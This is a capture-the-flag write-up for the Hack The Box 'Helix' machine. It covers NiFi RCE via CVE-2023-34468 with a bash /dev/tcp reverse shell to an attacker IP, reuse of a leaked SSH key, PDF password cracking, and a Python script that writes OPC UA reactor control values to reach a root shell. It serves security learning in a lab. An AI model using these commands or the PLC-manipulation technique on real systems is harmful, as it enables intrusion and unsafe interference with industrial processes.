Skip to content

HTB Helix writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

Helix began with initial access through an Apache NiFi instance exposed on the web. An SSH private key for operator left in the NiFi working directory provided the user shell. For privilege escalation, operator could run a maintenance console with sudo; operating a local PLC through OPC UA opened the maintenance window required for that console to start.

The required knowledge included vhost enumeration, RCE through Apache NiFi and its H2 driver, local Linux enumeration, interpreting sudo -l, cracking a PDF password, and working with OPC UA address spaces, NodeIds, and VariantTypes.

ItemValue
BoxHelix
PlatformHack The Box
OSLinux
DifficultyMedium
10.129.245.123
├─ 80/tcp nginx
│ └─ vhost: flow.helix.htb
│ └─ Apache NiFi 1.21.0
│ └─ CVE-2023-34468 / RCE through the H2 driver
│ └─ shell: nifi
│ └─ /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
│ └─ SSH: operator
│ ├─ user.txt
│ ├─ sudo NOPASSWD: /usr/local/sbin/helix-maint-console
│ └─ localhost:4840 OPC UA PLC
│ └─ operate Mode/TestOverride/CalibrationOffset
│ └─ open /opt/helix/state/maintenance_window
│ └─ sudo helix-maint-console
│ └─ root shell
Terminal window
echo '10.129.245.123 helix.htb flow.helix.htb' | sudo tee -a /etc/hosts
Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.245.123 > helix.nmap
cat helix.nmap

Key output:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

Key observations:

  • Only SSH and HTTP were exposed externally.
  • HTTP redirected to helix.htb, so proceed with name-based virtual hosts in mind.
  • SSH could become useful later through credential reuse or a private key.

Ordinary directory enumeration found no notable additional paths.

Terminal window
feroxbuster -u http://helix.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-d 1
200 GET 1117l 3956w 43341c http://helix.htb/

Enumerate vhosts instead.

Terminal window
ffuf -u http://helix.htb \
-H "Host: FUZZ.helix.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
flow [Status: 200, Size: 1068, Words: 110, Lines: 28]

NiFi was running at flow.helix.htb.

Terminal window
curl -i http://flow.helix.htb/nifi/ | head -n 30
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
...
<title>NiFi</title>
...
nf-canvas-all.css?1.21.0

This indicated NiFi version 1.21.0.

Use the known H2 driver RCE against NiFi 1.21.0.

Terminal window
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468

Start a listener for the reverse shell.

Terminal window
nc -lvnp 6666

Run the PoC.

Terminal window
python3 exploit.py \
-t http://flow.helix.htb/nifi \
-c "bash -i >& /dev/tcp/10.10.16.45/6666 0>&1" \
-lh 10.10.16.45 \
-lp 6666 \
--driver-path "/opt/nifi-1.21.0/lib/h2-2.1.214.jar"

The resulting shell ran as nifi.

Check local users.

Terminal window
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
operator:x:1001:1001::/home/operator:/bin/bash

Under NiFi, a support bundle contained a backup of the SSH private key for operator.

Terminal window
ls support-bundles
cat support-bundles/operator_id_ed25519.bak
operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Save the key locally, restrict its permissions, and connect as operator over SSH.

Terminal window
chmod 600 ed25519
ssh -i ./ed25519 operator@helix.htb
Terminal window
cat ~/user.txt

This yielded the user flag.

The NiFi configuration also contained an H2 Database Connection Pooling Service named MaintenanceDB.

name: MaintenanceDB
Database Connection URL: jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1
Database Driver Class Name: org.h2.Driver
database-driver-locations: /opt/nifi-1.21.0/lib/h2-2.1.214.jar
Database User: operator
Password: enc{...}

It was not used directly to obtain root, but the maintenance, operator, and H2 driver references linked the NiFi RCE and the later maintenance mechanism thematically.

Check sudo -l.

Terminal window
sudo -l
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console

Inspect the executable.

Terminal window
ls -la /usr/local/sbin/helix-maint-console
cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i

The script could run as root, but it did not always produce a root shell. It launched /bin/bash -p -i through systemd-run only if /opt/helix/state/maintenance_window existed and contained a UNIX timestamp later than the current time.

Running it immediately showed that the window was closed.

Terminal window
sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

The next goal was therefore to satisfy the conditions that opened maintenance_window.

operator had a PDF and an image in the home directory.

Terminal window
ls
'Operator Control & Safety Guide.pdf' 'control systems diagram.png' user.txt

The PDF was password-protected.

Terminal window
pdfinfo "Operator Control & Safety Guide.pdf"
qpdf --show-encryption "Operator Control & Safety Guide.pdf"
Command Line Error: Incorrect password
...
stream encryption method: AESv3

Crack its password with pdf2john and john.

Terminal window
pdf2john "Operator Control & Safety Guide.pdf" > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
operator1 (Operator Control & Safety Guide.pdf)

The PDF described operating conditions for the Helix Reactor Control System. The important variables were:

VariableMeaning
Temperaturereactor temperature
Pressurereactor pressure
CalibrationOffsetCalibration bias for maintenance
TripActiveState of the safety trip
ModeNORMAL / MAINTENANCE
TestOverridemaintenance override
ResetTriptrip reset request

The maintenance window opened under these conditions:

  • Set Mode to MAINTENANCE.
  • Enable TestOverride.
  • Increase CalibrationOffset gradually.
  • Bring Temperature to about 295°C or Pressure to about 73 bar.
  • Stay below the trip thresholds of about 305°C for Temperature and 75 bar for Pressure.
  • Keep TripActive at False.

This connected to the condition in helix-maint-console: when the PLC entered a maintenance window, an internal process appeared to create /opt/helix/state/maintenance_window, allowing the root maintenance console to run for a short period.

Checking listening ports as operator revealed localhost port 4840/tcp.

Terminal window
ss -ant
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*

Port 4840/tcp is commonly used for OPC UA. Because OPC UA uses the binary opc.tcp protocol, it could not be operated by typing into nc 127.0.0.1 4840. Unlike line-oriented protocols such as HTTP or Redis, it required a dedicated client to browse the address space and read or write the relevant NodeIds.

Forward the port over SSH to work with it from the attacking machine.

Terminal window
ssh -i ./ed25519 -N -L 4840:127.0.0.1:4840 operator@helix.htb

Then connect locally to opc.tcp://127.0.0.1:4840.

asyncua was tried first, but recursively browsing the entire tree often caused timeouts or disconnections.

Future for request id 10 is already done
Exception: Unhandled exception while sending request to OPC UA server

The synchronous opcua library was more stable.

Terminal window
uv venv --python 3.12 .venv-opc
source .venv-opc/bin/activate
pip install opcua
from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
print(client.get_namespace_array())
finally:
client.disconnect()
['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']

An OPC UA NodeId combines a namespace index and an identifier. Here, urn:helix:ot had namespace index 2, so Helix-specific PLC nodes were expected under ns=2;....

Use ns=2;i=1 as the root and inspect its children.

from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
base = client.get_node("ns=2;i=1")
for c in base.get_children():
print(c, c.get_display_name())
try:
print(" value:", c.get_value())
except Exception as e:
print(" value error:", e)
finally:
client.disconnect()
ns=2;i=2 LocalizedText(... Text:Reactor)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)
ns=2;i=7 LocalizedText(... Text:Safety)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)
ns=2;i=11 LocalizedText(... Text:Control)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)

This BadAttributeIdInvalid response was expected. Reactor, Safety, and Control were Object nodes, not value-bearing Variable nodes. Objects acted like folders; their child Variables held the values.

The nodes of interest lay roughly between ns=2;i=1 and ns=2;i=14, so inspect NodeClass, value, VariantType, and access level.

from opcua import Client, ua
import time
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
for i in range(1, 20):
nodeid = f"ns=2;i={i}"
node = client.get_node(nodeid)
try:
cls = node.get_node_class()
name = node.get_display_name().Text
print(f"{nodeid}: {name} [{cls}]")
if cls == ua.NodeClass.Variable:
print(" value:", repr(node.get_value()))
print(" type :", node.get_data_type_as_variant_type())
print(" access:", node.get_access_level(), node.get_user_access_level())
except Exception as e:
print(f"{nodeid}: {e}")
time.sleep(0.05)
finally:
client.disconnect()

Key results:

ns=2;i=1: Plant [1]
ns=2;i=2: Reactor [1]
ns=2;i=3: TemperatureRaw [2]
value: 283.50106407697126
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=4: Temperature [2]
value: 283.59361357234354
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=5: Pressure [2]
value: 68.97129508156843
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=6: CalibrationOffset [2]
value: 0.0
type : VariantType.Double
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=7: Safety [1]
ns=2;i=8: RodsInserted [2]
value: False
type : VariantType.Boolean
ns=2;i=9: EmergencyCooling [2]
value: False
type : VariantType.Boolean
ns=2;i=10: TripActive [2]
value: False
type : VariantType.Boolean
access: {CurrentRead} {CurrentRead}
ns=2;i=11: Control [1]
ns=2;i=12: Mode [2]
value: 'NORMAL'
type : VariantType.String
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=13: TestOverride [2]
value: False
type : VariantType.Boolean
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=14: ResetTrip [2]
value: False
type : VariantType.Boolean
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}

[1] meant Object and [2] meant Variable. Writable targets were Variable nodes with CurrentWrite access.

The important NodeId mapping was:

NodeIdNameTypePurpose
ns=2;i=4TemperatureDoubleMaintenance window condition
ns=2;i=5PressureDoubleMaintenance window condition
ns=2;i=6CalibrationOffsetDoubleIncrease gradually
ns=2;i=10TripActiveBooleanCheck whether a trip occurred
ns=2;i=12ModeStringChange to MAINTENANCE
ns=2;i=13TestOverrideBooleanChange to True
ns=2;i=14ResetTripBooleanRecover from a trip

For OPC UA writes, the type matters as well as the value. For example, Mode is a String, CalibrationOffset a Double, and TestOverride a Boolean. Sending a Python value directly can make the client infer a type that differs from the VariantType expected by the server.

Read the expected type from each node with get_data_type_as_variant_type() and write it explicitly with ua.Variant(value, vt).

def set_typed(node, value):
vt = node.get_data_type_as_variant_type()
node.set_value(ua.DataValue(ua.Variant(value, vt)))

The following script opened the maintenance window.

from opcua import Client, ua
import time
URL = "opc.tcp://127.0.0.1:4840"
N = {
"TemperatureRaw": "ns=2;i=3",
"Temperature": "ns=2;i=4",
"Pressure": "ns=2;i=5",
"CalibrationOffset": "ns=2;i=6",
"TripActive": "ns=2;i=10",
"Mode": "ns=2;i=12",
"TestOverride": "ns=2;i=13",
"ResetTrip": "ns=2;i=14",
}
def set_typed(node, value):
vt = node.get_data_type_as_variant_type()
node.set_value(ua.DataValue(ua.Variant(value, vt)))
client = Client(URL)
client.connect()
try:
nodes = {k: client.get_node(v) for k, v in N.items()}
set_typed(nodes["Mode"], "MAINTENANCE")
set_typed(nodes["TestOverride"], True)
set_typed(nodes["CalibrationOffset"], 0.0)
time.sleep(1)
offset = 0.0
while True:
temp = float(nodes["Temperature"].get_value())
pres = float(nodes["Pressure"].get_value())
trip = bool(nodes["TripActive"].get_value())
mode = nodes["Mode"].get_value()
override = nodes["TestOverride"].get_value()
print(f"mode={mode} override={override} temp={temp:.2f} pressure={pres:.2f} trip={trip} offset={offset:.2f}")
if trip:
print("TRIPPED - stop")
break
if (temp >= 295 or pres >= 73) and temp < 305 and pres < 75:
print("maintenance window should be open now")
time.sleep(10)
break
offset += 0.5
set_typed(nodes["CalibrationOffset"], offset)
time.sleep(0.7)
finally:
client.disconnect()

The output:

Terminal window
python3 x.py
mode=MAINTENANCE override=True temp=283.99 pressure=69.04 trip=False offset=0.00
mode=MAINTENANCE override=True temp=284.63 pressure=69.11 trip=False offset=0.50
mode=MAINTENANCE override=True temp=285.24 pressure=69.16 trip=False offset=1.00
...
mode=MAINTENANCE override=True temp=294.60 pressure=69.37 trip=False offset=10.00
mode=MAINTENANCE override=True temp=295.01 pressure=69.33 trip=False offset=10.50
maintenance window should be open now

With Mode=MAINTENANCE and TestOverride=True, increasing CalibrationOffset gradually brought Temperature to about 295. At that point, TripActive=False and the values were below the trip thresholds, satisfying the maintenance operating window conditions described in the PDF.

In another terminal, wait for the maintenance window to open.

Terminal window
while true; do sudo /usr/local/sbin/helix-maint-console && break; sleep 0.2; done
Maintenance window CLOSED.
[+] Privileged maintenance access granted
[!] Window expires in 120 seconds
[!] Session will be terminated automatically
root@helix:/tmp#

This yielded a root shell.

Terminal window
cd /root
cat root.txt

The final stage of this box required reading the OPC UA structure correctly, not just changing a value.

Port 4840/tcp is a standard OPC UA port, but the protocol is not text-based. An nc connection could not be used to type meaningful commands. An OPC UA client capable of connecting to opc.tcp://127.0.0.1:4840 was needed.

Not every node in an OPC UA address space has a value. Plant, Reactor, Safety, and Control were Object nodes, and reading a value from them returned BadAttributeIdInvalid. This meant the node lacked a Value attribute; it was not an error in the approach. The actionable nodes were child Variables such as Temperature and Mode.

An incorrect NodeId mapping could make the values look plausible while the window stayed closed. Reading Temperature as Pressure or Pressure as CalibrationOffset, for example, could make only the threshold checks appear to progress. The enumeration results were needed to map values correctly, such as CalibrationOffset = ns=2;i=6 and TripActive = ns=2;i=10.

Writes also needed the right VariantType. Mode was a String, CalibrationOffset a Double, and TestOverride a Boolean, so ua.Variant(value, vt) explicitly supplied the type expected by the server.

  • feroxbuster found no useful additional paths; vhost enumeration was needed.
  • nc 127.0.0.1 4840 could not operate OPC UA. A dedicated client was needed.
  • Recursively browsing the entire address space with asyncua often caused timeouts or disconnections. Shallow NodeId enumeration with the synchronous opcua library was more stable.
  • BadAttributeIdInvalid from get_value() on an Object node was expected. Look for Variable nodes.
  • An off-by-one NodeId mapping could confuse Pressure and CalibrationOffset, preventing the maintenance window from opening.

On the local machine:

  • Stop the SSH port forward.
  • Remove .venv-opc/, pdf.hash, the saved ed25519 key, and test Python scripts if they are no longer needed.

To restore the PLC state on the target, use OPC UA to do the following.

set_typed(nodes["CalibrationOffset"], 0.0)
set_typed(nodes["TestOverride"], False)
set_typed(nodes["Mode"], "NORMAL")

If a trip occurred, wait until Temperature falls below about 288 and Pressure below about 70, as the PDF instructed. Set ResetTrip to True, then back to False.

set_typed(nodes["ResetTrip"], True)
time.sleep(0.5)
set_typed(nodes["ResetTrip"], False)
TypeValue
Host10.129.245.123
VHostshelix.htb, flow.helix.htb
NiFiApache NiFi 1.21.0
Initial shellnifi
SSH useroperator
SSH key artifact/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
PDF passwordoperator1
sudo rule(root) NOPASSWD: /usr/local/sbin/helix-maint-console
OPC UA endpointopc.tcp://127.0.0.1:4840
user flag path/home/operator/user.txt
root flag path/root/root.txt

The important progression in this box was from ordinary web RCE to a local industrial-control protocol. Even when a command found through sudo -l cannot be exploited directly, reading its conditions shows exactly what must happen before it will provide a root shell.

For OPC UA, the port number alone was not enough. Inspect the namespace, NodeId, NodeClass, VariantType, and access level in order. Distinguishing Objects from Variables, checking for CurrentWrite, and writing values with the correct type are useful ideas for similar OT / PLC boxes.